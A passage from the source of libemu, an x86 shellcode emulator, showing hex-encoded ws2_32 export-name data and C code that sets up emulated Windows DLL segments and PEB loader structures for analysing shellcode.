\"\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x6C\\x61\\x73\\x73\\x49\\x6E\\x66\" // tServiceClassInf\n/* 71A12140 */ \"\\x6F\\x57\\x00\\x57\\x53\\x41\\x47\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\" // oW.WSAGetService\n/* 71A12150 */ \"\\x43\\x6C\\x61\\x73\\x73\\x4E\\x61\\x6D\\x65\\x42\\x79\\x43\\x6C\\x61\\x73\\x73\" // ClassNameByClass\n/* 71A12160 */ \"\\x49\\x64\\x41\\x00\\x57\\x53\\x41\\x47\\x65\\x74\\x53\\x65\\x72\\x76\\x69\\x63\" // IdA.WSAGetServic\n/* 71A12170 */ \"\\x65\\x43\\x6C\\x61\\x73\\x73\\x4E\\x61\\x6D\\x65\\x42\\x79\\x43\\x6C\\x61\\x73\" // eClassNameByClas\n/* 71A12180 */ \"\\x73\\x49\\x64\\x57\\x00\\x57\\x53\\x41\\x48\\x74\\x6F\\x6E\\x6C\\x00\\x57\\x53\" // sIdW.WSAHtonl.WS\n/* 71A12190 */ \"\\x41\\x48\\x74\\x6F\\x6E\\x73\\x00\\x57\\x53\\x41\\x49\\x6E\\x73\\x74\\x61\\x6C\" // AHtons.WSAInstal\n/* 71A121A0 */ \"\\x6C\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x43\\x6C\\x61\\x73\\x73\\x41\\x00\\x57\" // lServiceClassA.W\n/* 71A121B0 */ \"\\x53\\x41\\x49\\x6E\\x73\\x74\\x61\\x6C\\x6C\\x53\\x65\\x72\\x76\\x69\\x63\\x65\" // SAInstallService\n/* 71A121C0 */ \"\\x43\\x6C\\x61\\x73\\x73\\x57\\x00\\x57\\x53\\x41\\x49\\x6F\\x63\\x74\\x6C\\x00\" // ClassW.WSAIoctl.\n/* 71A121D0 */ \"\\x57\\x53\\x41\\x49\\x73\\x42\\x6C\\x6F\\x63\\x6B\\x69\\x6E\\x67\\x00\\x57\\x53\" // WSAIsBlocking.WS\n/* 71A121E0 */ \"\\x41\\x4A\\x6F\\x69\\x6E\\x4C\\x65\\x61\\x66\\x00\\x57\\x53\\x41\\x4C\\x6F\\x6F\" // AJoinLeaf.WSALoo\n/* 71A121F0 */ \"\\x6B\\x75\\x70\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x42\\x65\\x67\\x69\\x6E\\x41\" // kupServiceBeginA\n/* 71A12200 */ \"\\x00\\x57\\x53\\x41\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x53\\x65\\x72\\x76\\x69\\x63\" // .WSALookupServic\n/* 71A12210 */ \"\\x65\\x42\\x65\\x67\\x69\\x6E\\x57\\x00\\x57\\x53\\x41\\x4C\\x6F\\x6F\\x6B\\x75\" // eBeginW.WSALooku\n/* 71A12220 */ \"\\x70\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x45\\x6E\\x64\\x00\\x57\\x53\\x41\\x4C\" // pServiceEnd.WSAL\n/* 71A12230 */ \"\\x6F\\x6F\\x6B\\x75\\x70\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x4E\\x65\\x78\\x74\" // ookupServiceNext\n/* 71A12240 */ \"\\x41\\x00\\x57\\x53\\x41\\x4C\\x6F\\x6F\\x6B\\x75\\x70\\x53\\x65\\x72\\x76\\x69\" // A.WSALookupServi\n/* 71A12250 */ \"\\x63\\x65\\x4E\\x65\\x78\\x74\\x57\\x00\\x57\\x53\\x41\\x4E\\x53\\x50\\x49\\x6F\" // ceNextW.WSANSPIo\n/* 71A12260 */ \"\\x63\\x74\\x6C\\x00\\x57\\x53\\x41\\x4E\\x74\\x6F\\x68\\x6C\\x00\\x57\\x53\\x41\" // ctl.WSANtohl.WSA\n/* 71A12270 */ \"\\x4E\\x74\\x6F\\x68\\x73\\x00\\x57\\x53\\x41\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\" // Ntohs.WSAProvide\n/* 71A12280 */ \"\\x72\\x43\\x6F\\x6E\\x66\\x69\\x67\\x43\\x68\\x61\\x6E\\x67\\x65\\x00\\x57\\x53\" // rConfigChange.WS\n/* 71A12290 */ \"\\x41\\x52\\x65\\x63\\x76\\x00\\x57\\x53\\x41\\x52\\x65\\x63\\x76\\x44\\x69\\x73\" // ARecv.WSARecvDis\n/* 71A122A0 */ \"\\x63\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x00\\x57\\x53\\x41\\x52\\x65\\x63\\x76\\x46\" // connect.WSARecvF\n/* 71A122B0 */ \"\\x72\\x6F\\x6D\\x00\\x57\\x53\\x41\\x52\\x65\\x6D\\x6F\\x76\\x65\\x53\\x65\\x72\" // rom.WSARemoveSer\n/* 71A122C0 */ \"\\x76\\x69\\x63\\x65\\x43\\x6C\\x61\\x73\\x73\\x00\\x57\\x53\\x41\\x52\\x65\\x73\" // viceClass.WSARes\n/* 71A122D0 */ \"\\x65\\x74\\x45\\x76\\x65\\x6E\\x74\\x00\\x57\\x53\\x41\\x53\\x65\\x6E\\x64\\x00\" // etEvent.WSASend.\n/* 71A122E0 */ \"\\x57\\x53\\x41\\x53\\x65\\x6E\\x64\\x44\\x69\\x73\\x63\\x6F\\x6E\\x6E\\x65\\x63\" // WSASendDisconnec\n/* 71A122F0 */ \"\\x74\\x00\\x57\\x53\\x41\\x53\\x65\\x6E\\x64\\x54\\x6F\\x00\\x57\\x53\\x41\\x53\" // t.WSASendTo.WSAS\n/* 71A12300 */ \"\\x65\\x74\\x42\\x6C\\x6F\\x63\\x6B\\x69\\x6E\\x67\\x48\\x6F\\x6F\\x6B\\x00\\x57\" // etBlockingHook.W\n/* 71A12310 */ \"\\x53\\x41\\x53\\x65\\x74\\x45\\x76\\x65\\x6E\\x74\\x00\\x57\\x53\\x41\\x53\\x65\" // SASetEvent.WSASe\n/* 71A12320 */ \"\\x74\\x4C\\x61\\x73\\x74\\x45\\x72\\x72\\x6F\\x72\\x00\\x57\\x53\\x41\\x53\\x65\" // tLastError.WSASe\n/* 71A12330 */ \"\\x74\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x41\\x00\\x57\\x53\\x41\\x53\\x65\\x74\" // tServiceA.WSASet\n/* 71A12340 */ \"\\x53\\x65\\x72\\x76\\x69\\x63\\x65\\x57\\x00\\x57\\x53\\x41\\x53\\x6F\\x63\\x6B\" // ServiceW.WSASock\n/* 71A12350 */ \"\\x65\\x74\\x41\\x00\\x57\\x53\\x41\\x53\\x6F\\x63\\x6B\\x65\\x74\\x57\\x00\\x57\" // etA.WSASocketW.W\n/* 71A12360 */ \"\\x53\\x41\\x53\\x74\\x61\\x72\\x74\\x75\\x70\\x00\\x57\\x53\\x41\\x53\\x74\\x72\" // SAStartup.WSAStr\n/* 71A12370 */ \"\\x69\\x6E\\x67\\x54\\x6F\\x41\\x64\\x64\\x72\\x65\\x73\\x73\\x41\\x00\\x57\\x53\" // ingToAddressA.WS\n/* 71A12380 */ \"\\x41\\x53\\x74\\x72\\x69\\x6E\\x67\\x54\\x6F\\x41\\x64\\x64\\x72\\x65\\x73\\x73\" // AStringToAddress\n/* 71A12390 */ \"\\x57\\x00\\x57\\x53\\x41\\x55\\x6E\\x68\\x6F\\x6F\\x6B\\x42\\x6C\\x6F\\x63\\x6B\" // W.WSAUnhookBlock\n/* 71A123A0 */ \"\\x69\\x6E\\x67\\x48\\x6F\\x6F\\x6B\\x00\\x57\\x53\\x41\\x57\\x61\\x69\\x74\\x46\" // ingHook.WSAWaitF\n/* 71A123B0 */ \"\\x6F\\x72\\x4D\\x75\\x6C\\x74\\x69\\x70\\x6C\\x65\\x45\\x76\\x65\\x6E\\x74\\x73\" // orMultipleEvents\n/* 71A123C0 */ \"\\x00\\x57\\x53\\x41\\x70\\x53\\x65\\x74\\x50\\x6F\\x73\\x74\\x52\\x6F\\x75\\x74\" // .WSApSetPostRout\n/* 71A123D0 */ \"\\x69\\x6E\\x65\\x00\\x57\\x53\\x43\\x44\\x65\\x69\\x6E\\x73\\x74\\x61\\x6C\\x6C\" // ine.WSCDeinstall\n/* 71A123E0 */ \"\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x00\\x57\\x53\\x43\\x45\\x6E\\x61\\x62\" // Provider.WSCEnab\n/* 71A123F0 */ \"\\x6C\\x65\\x4E\\x53\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x00\\x57\\x53\\x43\" // leNSProvider.WSC\n/* 71A12400 */ \"\\x45\\x6E\\x75\\x6D\\x50\\x72\\x6F\\x74\\x6F\\x63\\x6F\\x6C\\x73\\x00\\x57\\x53\" // EnumProtocols.WS\n/* 71A12410 */ \"\\x43\\x47\\x65\\x74\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x50\\x61\\x74\\x68\" // CGetProviderPath\n/* 71A12420 */ \"\\x00\\x57\\x53\\x43\\x49\\x6E\\x73\\x74\\x61\\x6C\\x6C\\x4E\\x61\\x6D\\x65\\x53\" // .WSCInstallNameS\n/* 71A12430 */ \"\\x70\\x61\\x63\\x65\\x00\\x57\\x53\\x43\\x49\\x6E\\x73\\x74\\x61\\x6C\\x6C\\x50\" // pace.WSCInstallP\n/* 71A12440 */ \"\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x00\\x57\\x53\\x43\\x55\\x6E\\x49\\x6E\\x73\" // rovider.WSCUnIns\n/* 71A12450 */ \"\\x74\\x61\\x6C\\x6C\\x4E\\x61\\x6D\\x65\\x53\\x70\\x61\\x63\\x65\\x00\\x57\\x53\" // tallNameSpace.WS\n/* 71A12460 */ \"\\x43\\x55\\x70\\x64\\x61\\x74\\x65\\x50\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x00\" // CUpdateProvider.\n/* 71A12470 */ \"\\x57\\x53\\x43\\x57\\x72\\x69\\x74\\x65\\x4E\\x61\\x6D\\x65\\x53\\x70\\x61\\x63\" // WSCWriteNameSpac\n/* 71A12480 */ \"\\x65\\x4F\\x72\\x64\\x65\\x72\\x00\\x57\\x53\\x43\\x57\\x72\\x69\\x74\\x65\\x50\" // eOrder.WSCWriteP\n/* 71A12490 */ \"\\x72\\x6F\\x76\\x69\\x64\\x65\\x72\\x4F\\x72\\x64\\x65\\x72\\x00\\x5F\\x5F\\x57\" // roviderOrder.__W\n/* 71A124A0 */ \"\\x53\\x41\\x46\\x44\\x49\\x73\\x53\\x65\\x74\\x00\\x61\\x63\\x63\\x65\\x70\\x74\" // SAFDIsSet.accept\n/* 71A124B0 */ \"\\x00\\x62\\x69\\x6E\\x64\\x00\\x63\\x6C\\x6F\\x73\\x65\\x73\\x6F\\x63\\x6B\\x65\" // .bind.closesocke\n/* 71A124C0 */ \"\\x74\\x00\\x63\\x6F\\x6E\\x6E\\x65\\x63\\x74\\x00\\x66\\x72\\x65\\x65\\x61\\x64\" // t.connect.freead\n/* 71A124D0 */ \"\\x64\\x72\\x69\\x6E\\x66\\x6F\\x00\\x67\\x65\\x74\\x61\\x64\\x64\\x72\\x69\\x6E\" // drinfo.getaddrin\n/* 71A124E0 */ \"\\x66\\x6F\\x00\\x67\\x65\\x74\\x68\\x6F\\x73\\x74\\x62\\x79\\x61\\x64\\x64\\x72\" // fo.gethostbyaddr\n/* 71A124F0 */ \"\\x00\\x67\\x65\\x74\\x68\\x6F\\x73\\x74\\x62\\x79\\x6E\\x61\\x6D\\x65\\x00\\x67\" // .gethostbyname.g\n/* 71A12500 */ \"\\x65\\x74\\x68\\x6F\\x73\\x74\\x6E\\x61\\x6D\\x65\\x00\\x67\\x65\\x74\\x6E\\x61\" // ethostname.getna\n/* 71A12510 */ \"\\x6D\\x65\\x69\\x6E\\x66\\x6F\\x00\\x67\\x65\\x74\\x70\\x65\\x65\\x72\\x6E\\x61\" // meinfo.getpeerna\n/* 71A12520 */ \"\\x6D\\x65\\x00\\x67\\x65\\x74\\x70\\x72\\x6F\\x74\\x6F\\x62\\x79\\x6E\\x61\\x6D\" // me.getprotobynam\n/* 71A12530 */ \"\\x65\\x00\\x67\\x65\\x74\\x70\\x72\\x6F\\x74\\x6F\\x62\\x79\\x6E\\x75\\x6D\\x62\" // e.getprotobynumb\n/* 71A12540 */ \"\\x65\\x72\\x00\\x67\\x65\\x74\\x73\\x65\\x72\\x76\\x62\\x79\\x6E\\x61\\x6D\\x65\" // er.getservbyname\n/* 71A12550 */ \"\\x00\\x67\\x65\\x74\\x73\\x65\\x72\\x76\\x62\\x79\\x70\\x6F\\x72\\x74\\x00\\x67\" // .getservbyport.g\n/* 71A12560 */ \"\\x65\\x74\\x73\\x6F\\x63\\x6B\\x6E\\x61\\x6D\\x65\\x00\\x67\\x65\\x74\\x73\\x6F\" // etsockname.getso\n/* 71A12570 */ \"\\x63\\x6B\\x6F\\x70\\x74\\x00\\x68\\x74\\x6F\\x6E\\x6C\\x00\\x68\\x74\\x6F\\x6E\" // ckopt.htonl.hton\n/* 71A12580 */ \"\\x73\\x00\\x69\\x6E\\x65\\x74\\x5F\\x61\\x64\\x64\\x72\\x00\\x69\\x6E\\x65\\x74\" // s.inet_addr.inet\n/* 71A12590 */ \"\\x5F\\x6E\\x74\\x6F\\x61\\x00\\x69\\x6F\\x63\\x74\\x6C\\x73\\x6F\\x63\\x6B\\x65\" // _ntoa.ioctlsocke\n/* 71A125A0 */ \"\\x74\\x00\\x6C\\x69\\x73\\x74\\x65\\x6E\\x00\\x6E\\x74\\x6F\\x68\\x6C\\x00\\x6E\" // t.listen.ntohl.n\n/* 71A125B0 */ \"\\x74\\x6F\\x68\\x73\\x00\\x72\\x65\\x63\\x76\\x00\\x72\\x65\\x63\\x76\\x66\\x72\" // tohs.recv.recvfr\n/* 71A125C0 */ \"\\x6F\\x6D\\x00\\x73\\x65\\x6C\\x65\\x63\\x74\\x00\\x73\\x65\\x6E\\x64\\x00\\x73\" // om.select.send.s\n/* 71A125D0 */ \"\\x65\\x6E\\x64\\x74\\x6F\\x00\\x73\\x65\\x74\\x73\\x6F\\x63\\x6B\\x6F\\x70\\x74\" // endto.setsockopt\n/* 71A125E0 */ \"\\x00\\x73\\x68\\x75\\x74\\x64\\x6F\\x77\\x6E\\x00\\x73\\x6F\\x63\\x6B\\x65\\x74\" // .shutdown.socket\n/* 71A125F0 */ \"\\x00\\x90\\x90\\x90\\x90\\x90\\x8B\\xFF\\x55\\x8B\\xEC\\xFF\\x75\\x08\\x6A\\x00\"; // .ÿUìÿu\bj.\n\n"
  },
  {
    "path": "src/environment/win32/emu_env_w32.c",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#include <stdlib.h>\n#include <string.h>\n#include <errno.h>\n\n#include \"emu/emu.h\"\n#include \"emu/emu_cpu.h\"\n#include \"emu/emu_memory.h\"\n#include \"emu/emu_hashtable.h\"\n#include \"emu/environment/emu_env.h\"\n#include \"emu/environment/emu_profile.h\"\n#include \"emu/environment/win32/emu_env_w32.h\"\n#include \"emu/environment/win32/emu_env_w32_dll.h\"\n#include \"emu/environment/win32/emu_env_w32_dll_export.h\"\n#include \"emu/environment/win32/env_w32_dll_export_hooks.h\"\n\n#include \"emu/emu_log.h\"\n\nextern const char kernel32_dll_7c800000[];\nextern const char kernel32_dll_7c801000[];\nextern const char ws2_32_71a10000[];\nextern const char ws2_32_71a11000[];\nextern const char msvcrt_77be0000[];\nextern const char msvcrt_77C28970[];\nextern const char urlmon_7DF20000[];\nextern const char urlmon_7DF21000[];\n\n// added -dzzie \nextern const char user32_7E410000[];  /* pe header and section table */\nextern const char user32_7e413900[];  /* export table */\nextern const char shell32_7C9C0000[]; /* pe header and section table */\nextern const char shell32_7c9e7d50[]; /* export table */\nextern const char wininet_3D930000[]; /* pe header and section table 2-2-11*/\nextern const char wininet_3d931844[]; /* export table */\nextern const char ntdll_7C900000[]; /* pe header and section table 2-5-11*/\nextern const char ntdll_7c903400[]; /* export table */\nextern const char shlwapi_77F60000[]; /* pe header and section table 3-10-11*/\nextern const char shlwapi_77f61820[]; /* export table */\nextern const char advapi32_77DD0000[];\nextern const char advapi32_77dd16A4[];\nextern const char shdocvw_7E290000[];\nextern const char shdocvw_7E2A4480[];\n\n\nstruct emu_env_w32_known_dll_segment kernel32_segments[] = \n{\n\t{\n\t\t.address = 0x7c800000,\n\t\t.segment = kernel32_dll_7c800000,\n\t\t.segment_size = 641,\n\t},\n\t{\n\t\t.address = 0x7c801000,\n\t\t.segment = kernel32_dll_7c801000, /* - 7C808F71 */\n\t\t.segment_size = 32625,\n\t},\n\t{ 0, NULL, 0 }\n};\n\nstruct emu_env_w32_known_dll_segment ws2_32_segments[] = \n{\n\t{\n\t\t.address = 0x71a10000,\n\t\t.segment = ws2_32_71a10000,\n\t\t.segment_size = 786,\n\t},\n\t{\n\t\t.address = 0x71a11000,\n\t\t.segment = ws2_32_71a11000,\n\t\t.segment_size = 5634,\n\t},\n\t{ 0, NULL, 0 }\n};\n\nstruct emu_env_w32_known_dll_segment msvcrt_segments[] = \n{\n\t{\n\t\t.address = 0x77be0000,\n\t\t.segment = msvcrt_77be0000,\n\t\t.segment_size = 5634,\n\t},\n\t{\n\t\t.address = 0x77C28970,\n\t\t.segment = msvcrt_77C28970,\n\t\t.segment_size = 17328,\n\t},\n\t{ 0, NULL, 0 }\n};\n\nstruct emu_env_w32_known_dll_segment urlmon_segments[] = \n{\n\t{\n\t\t.address = 0x7DF20000,\n\t\t.segment = urlmon_7DF20000,\n\t\t.segment_size = 786,\n\t},\n\t{\n\t\t.address = 0x7DF21000,\n\t\t.segment = urlmon_7DF21000,\n\t\t.segment_size = 6144,\n\t},\n\t{ 0, NULL, 0 }\n};\n\n//dzzie 1-26-11\nstruct emu_env_w32_known_dll_segment user32_segments[] = \n{\n\t{\n\t\t.address = 0x7E410000,\n\t\t.segment = user32_7E410000,\n\t\t.segment_size = 0x2cf,\n\t},\n\t{\n\t\t.address = 0x7e413900,\n\t\t.segment = user32_7e413900,\n\t\t.segment_size = 0x4baf,\n\t},\n\t{ 0, NULL, 0 }\n};\n\n//dzzie 1-26-11\nstruct emu_env_w32_known_dll_segment shell32_segments[] = \n{\n\t{\n\t\t.address = 0x7C9C0000,\n\t\t.segment = shell32_7C9C0000,\n\t\t.segment_size = 0x28f,\n\t},\n\t{\n\t\t.address = 0x7c9e7d50,\n\t\t.segment = shell32_7c9e7d50,\n\t\t.segment_size = 0x291f,\n\t},\n\t{ 0, NULL, 0 }\n};\n\n//dzzie 2-2-11\nstruct emu_env_w32_known_dll_segment wininet_segments[] = \n{\n\t{\n\t\t.address = 0x3D930000,\n\t\t.segment = wininet_3D930000,\n\t\t.segment_size = 0x2Af,\n\t},\n\t{\n\t\t.address = 0x3d931844,\n\t\t.segment = wininet_3d931844,\n\t\t.segment_size = 0x1d4f,\n\t},\n\t{ 0, NULL, 0 }\n};\n\nstruct emu_env_w32_known_dll_segment ntdll_segments[] = \n{\n\t{\n\t\t.address = 0x7C900000,\n\t\t.segment = ntdll_7C900000,\n\t\t.segment_size = 0x27f,\n\t},\n\t{\n\t\t.address = 0x7c903400,\n\t\t.segment = ntdll_7c903400,\n\t\t.segment_size = 0x9a5f,\n\t},\n\t{ 0, NULL, 0 }\n};\n\nstruct emu_env_w32_known_dll_segment shlwapi_segments[] = \n{\n\t{\n\t\t.address = 0x77F60000,\n\t\t.segment = shlwapi_77F60000,\n\t\t.segment_size = 0x39f,\n\t},\n\t{\n\t\t.address = 0x77f61820,\n\t\t.segment = shlwapi_77f61820,\n\t\t.segment_size = 0x27ff,\n\t},\n\t{ 0, NULL, 0 }\n};\n\nstruct emu_env_w32_known_dll_segment advapi32_segments[] = \n{\n\t{\n\t\t.address = 0x77DD0000,\n\t\t.segment = advapi32_77DD0000,\n\t\t.segment_size = 0x31f,\n\t},\n\t{\n\t\t.address = 0x77dd16A4,\n\t\t.segment = advapi32_77dd16A4,\n\t\t.segment_size = 0x5253,\n\t},\n\t{ 0, NULL, 0 }\n};\n\nstruct emu_env_w32_known_dll_segment shdocvw_segments[] = \n{\n\t{\n\t\t.address = 0x7E290000,\n\t\t.segment = shdocvw_7E290000,\n\t\t.segment_size = 0x36f,\n\t},\n\t{\n\t\t.address = 0x7E2A4480,\n\t\t.segment = shdocvw_7E2A4480,\n\t\t.segment_size = 0x4e0,\n\t},\n\t{ 0, NULL, 0 }\n};\n\n\nstruct emu_env_w32_known_dll known_dlls[] = \n{\n\t{ /* dummy entry for the PEB/LDR lists \n\t   * shares base address with kernel32\n\t   * it should be possible to have this working without such\n\t   * hacks, but ... for now it works\n\t   */\n\t\t.dllname = \"self\",\n\t\t.baseaddress = 0x7C800000,\n\t\t.imagesize = 0xf6000, //0x00106000, -changed dz.. \n\t},\n\t{\n\t\t.dllname = \"kernel32\",      //this must always be first dll -dz\n\t\t.baseaddress = 0x7C800000, \n\t\t.imagesize = 0xf6000, //0x00106000, //xpsp2 is only f600 and still same base..this way no conflict with ntdll..not sure where org sz came from.. dz\n\t\t.exports = kernel32_exports, /* last export = lstrlenW - > 7c809a09 so were good */\n\t\t.memory_segments = kernel32_segments,\n\t}, /* org end at 7C906000 - modded now ends at 7C80f6000 so no collision with ntdll..) */\n\t{\n\t\t.dllname = \"ntdll\", /* dzzie 2-5-11 */\n\t\t.baseaddress = 0x7C900000, \n\t\t.imagesize = 0xB2000,\n\t\t.exports = ntdll_exports,\n\t\t.memory_segments = ntdll_segments,\n\t},  \n\t{\n\t\t.dllname = \"ws2_32\",\n\t\t.baseaddress = 0x71A10000,\n\t\t.imagesize = 0x17000,\n\t\t.exports = ws2_32_exports,\n\t\t.memory_segments = ws2_32_segments,\n\t},\n\t{\n\t\t.dllname = \"msvcrt\",\n\t\t.baseaddress = 0x77BE0000,\n\t\t.imagesize = 0x58000,\n\t\t.exports = msvcrt_exports,\n\t\t.memory_segments = msvcrt_segments,\n\t},\n\t{\n\t\t.dllname = \"shell32\", /* dzzie 1-26-11 */\n\t\t.baseaddress = 0x7C9C0000,\n\t\t.imagesize = 0x817000,\n\t\t.exports = shell32_exports,\n\t\t.memory_segments = shell32_segments,\n\t}, /*ends at 7D1D7000 */\n\t{\n\t\t.dllname = \"shdocvw\", /* dzzie 3.12.11 */\n\t\t.baseaddress = 0x7E290000,\n\t\t.imagesize = 0x171000,\n\t\t.exports = shdocvw_exports,\n\t\t.memory_segments = shdocvw_segments,\n\t}, /*ends at 7E401000 */\n\t{\n\t\t.dllname = \"advapi32\",\n\t\t.baseaddress = 0x77DD0000,\n\t\t.imagesize = 0x9B000,\n\t\t.exports = advapi32_exports,\n\t\t.memory_segments = advapi32_segments,\n\t}, /*ends at  77E6B000 export table data ends at 77DD68F6. 3.12.11*/\n\t{\n\t\t.dllname = \"shlwapi\", /* dzzie 3-10-11 */\n\t\t.baseaddress = 0x77F60000, \n\t\t.imagesize = 0x76000,\n\t\t.exports = shlwapi_exports,\n\t\t.memory_segments = shlwapi_segments,\n\t},  \n\t{\n\t\t.dllname = \"urlmon\",\n\t\t.baseaddress = 0x7DF20000,\n\t\t.imagesize = 0xA0000,\n\t\t.exports = urlmon_exports,\n\t\t.memory_segments = urlmon_segments,\n\t}, /*ends at 7DFC0000 */\n\t{\n\t\t.dllname = \"user32\", /* dzzie 1-26-11 */\n\t\t.baseaddress = 0x7E410000,\n\t\t.imagesize = 0x00091000,\n\t\t.exports = user32_exports,\n\t\t.memory_segments = user32_segments,\n\t}, /*ends at 7E4A1000 */\n\t{\n\t\t.dllname = \"wininet\", /* dzzie 2-2-11 */\n\t\t.baseaddress = 0x3D930000,\n\t\t.imagesize = 0xD1000,\n\t\t.exports = wininet_exports,\n\t\t.memory_segments = wininet_segments,\n\t},  \n\t{\n\t\t.dllname = NULL,\n\t\t.baseaddress = 0,\n\t\t.imagesize = 0,\n\t\t.exports = NULL,\n\t\t.memory_segments = NULL,\n\t},\n};\n\n\nstruct emu_env_w32 *emu_env_w32_new(struct emu *e)\n{\n\tstruct emu_env_w32 *env = (struct emu_env_w32 *)malloc(sizeof(struct emu_env_w32));\n\tmemset(env,0,sizeof(struct emu_env_w32));\n//\tenv->profile = emu_profile_new();\n\tenv->emu = e;\n\t// write TEB and linklist\n\n\tstruct emu_memory *mem = emu_memory_get(e);\n\tenum emu_segment oldseg = emu_memory_segment_get(mem);\n\n\n//  0041709D   64:8B43 30       MOV EAX,DWORD PTR FS:[EBX+30]\n//\t7FFDF030  00 40 FD 7F                                      .@ý\n//  7FFDE030  00 F0 FD 7F                                      .ðý\n\n\n    emu_memory_segment_select(mem,s_fs);\n\temu_memory_write_dword(mem,0x30,0x7ffdf000);\n\temu_memory_segment_select(mem,oldseg);\n\n\n//  004170A1   8B40 0C          MOV EAX,DWORD PTR DS:[EAX+C]\n//  7FFDF00C  A0 1E 25 00                                       \u001e%.\n\temu_memory_write_dword(mem,0x7ffdf00c,0x00251ea0);\n\n//  004170A4   8B70 1C          MOV ESI,DWORD PTR DS:[EAX+1C]\n//  00251EBC  58 1F 25 00                                      X\u001f%.\n//\temu_memory_write_dword(mem,0x00251ebc,0x00251f58);\n\n\n//\t004170A7   AD               LODS DWORD PTR DS:[ESI]\n//  00251F58  20 20 25 00                                        %.\n//\temu_memory_write_dword(mem,0x00251f58,0x00252020);\n\n\n//\t004170A8   8B40 08          MOV EAX,DWORD PTR DS:[EAX+8]             ; kernel32.7C800000\n//  00252028  00 00 80 7C     \n//\temu_memory_write_dword(mem,0x00252028,0x7C800000);\n\n\n\t// http://www.nirsoft.net/kernel_struct/vista/UNICODE_STRING.html\n\ttypedef struct _UNICODE_STRING\n\t{\n\t\tuint16_t Length;\n\t\tuint16_t MaximumLength;\n\t\tuint32_t Buffer;\n\t} UNICODE_STRING, *PUNICODE_STRING;\n\n\t// PEB_LDR_DATA Structure\n\t// http://msdn.microsoft.com/en-us/library/aa813708%28VS.85%29.aspx\n\ttypedef struct _LIST_ENTRY\n\t{\n//\t\tstruct _LIST_ENTRY *Flink;\n\t\tuint32_t Flink;\n\t\tuint32_t Blink;\n//\t\tstruct _LIST_ENTRY *Blink;\n\t} LIST_ENTRY, *PLIST_ENTRY; //, *RESTRICTED_POINTER PRLIST_ENTRY;\n\n\ttypedef uint32_t PVOID;\n\ttypedef unsigned char BYTE;\n\ttypedef uint32_t ULONG;\n\n\ttypedef struct _LDR_DATA_TABLE_ENTRY\n\t{\n\t\t/* 0x00 */ LIST_ENTRY InLoadOrderLinks;\n\t\t/* 0x08 */ LIST_ENTRY InMemoryOrderLinks;\n\t\t/* 0x0f */ LIST_ENTRY InInitializationOrderLinks;\n\t\t/* 0x18 */ uint32_t DllBase;\n\t\t/* 0x1c */ uint32_t EntryPoint;\n\t\t/* 0x1f */ uint32_t Reserved3;\n\t\t/* 0x24 */ UNICODE_STRING FullDllName;\n\t\t/* 0x2c */ UNICODE_STRING BaseDllName;\n\t\t/* 0x00 */ uint32_t Reserved5[3];\n\t\tunion\n\t\t{\n\t\t\tULONG CheckSum;\n\t\t\tPVOID Reserved6;\n\t\t};\n\t\tuint32_t TimeDateStamp;\n\t} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;\n\n\n\t// http://www.nirsoft.net/kernel_struct/vista/PEB_LDR_DATA.html\n\ttypedef struct _PEB_LDR_DATA\n\t{\n\t\t /* 0x00 */ uint32_t Length;\n\t\t /* 0x04 */ uint8_t Initialized[4];\n\t\t /* 0x08 */ uint32_t SsHandle;\n\t\t /* 0x0c */ LIST_ENTRY InLoadOrderModuleList;\n\t\t /* 0x14 */ LIST_ENTRY InMemoryOrderModuleList;\n\t\t /* 0x1c */ LIST_ENTRY InInitializationOrderModuleList;\n\t\t /* 0x24 */ uint8_t EntryInProgress;\n\t} PEB_LDR_DATA, *PPEB_LDR_DATA;\n\n\tstruct _PEB_LDR_DATA peb_ldr_data;\n\tpeb_ldr_data.InMemoryOrderModuleList.Flink = 0x00251ea0 + 0x1000 + offsetof(struct _LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);\n\tpeb_ldr_data.InInitializationOrderModuleList.Flink = 0x00251ea0 + 0x1000 + offsetof(struct _LDR_DATA_TABLE_ENTRY, InInitializationOrderLinks);\n\n\temu_memory_write_block(mem, 0x00251ea0, &peb_ldr_data, sizeof(peb_ldr_data));\n\n\tuint32_t magic_offset = 0x00251ea0+0x1000;\n\n\tstruct _LDR_DATA_TABLE_ENTRY tables[16];\n\tmemset(tables, 0, sizeof(tables));\n\n\tchar names[16][64];\n\tmemset(names, 0, sizeof(names));\n\n\tint i;\n\tfor ( i=0; known_dlls[i].dllname != NULL; i++ )\n\t{\n\t\tstruct emu_env_w32_known_dll *from = known_dlls+i;\n\t\tstruct _LDR_DATA_TABLE_ENTRY *to = tables+i;\n\t\t\n\t\tto->DllBase = from->baseaddress;\n\t\tto->BaseDllName.Length = (strlen(from->dllname) + strlen(\".dll\")) * 2 + 2;\n\t\tto->BaseDllName.MaximumLength = to->BaseDllName.Length;// + 2;\n\t\tto->BaseDllName.Buffer = magic_offset + sizeof(tables) + i * 64;\n\n\t\tto->InMemoryOrderLinks.Blink = 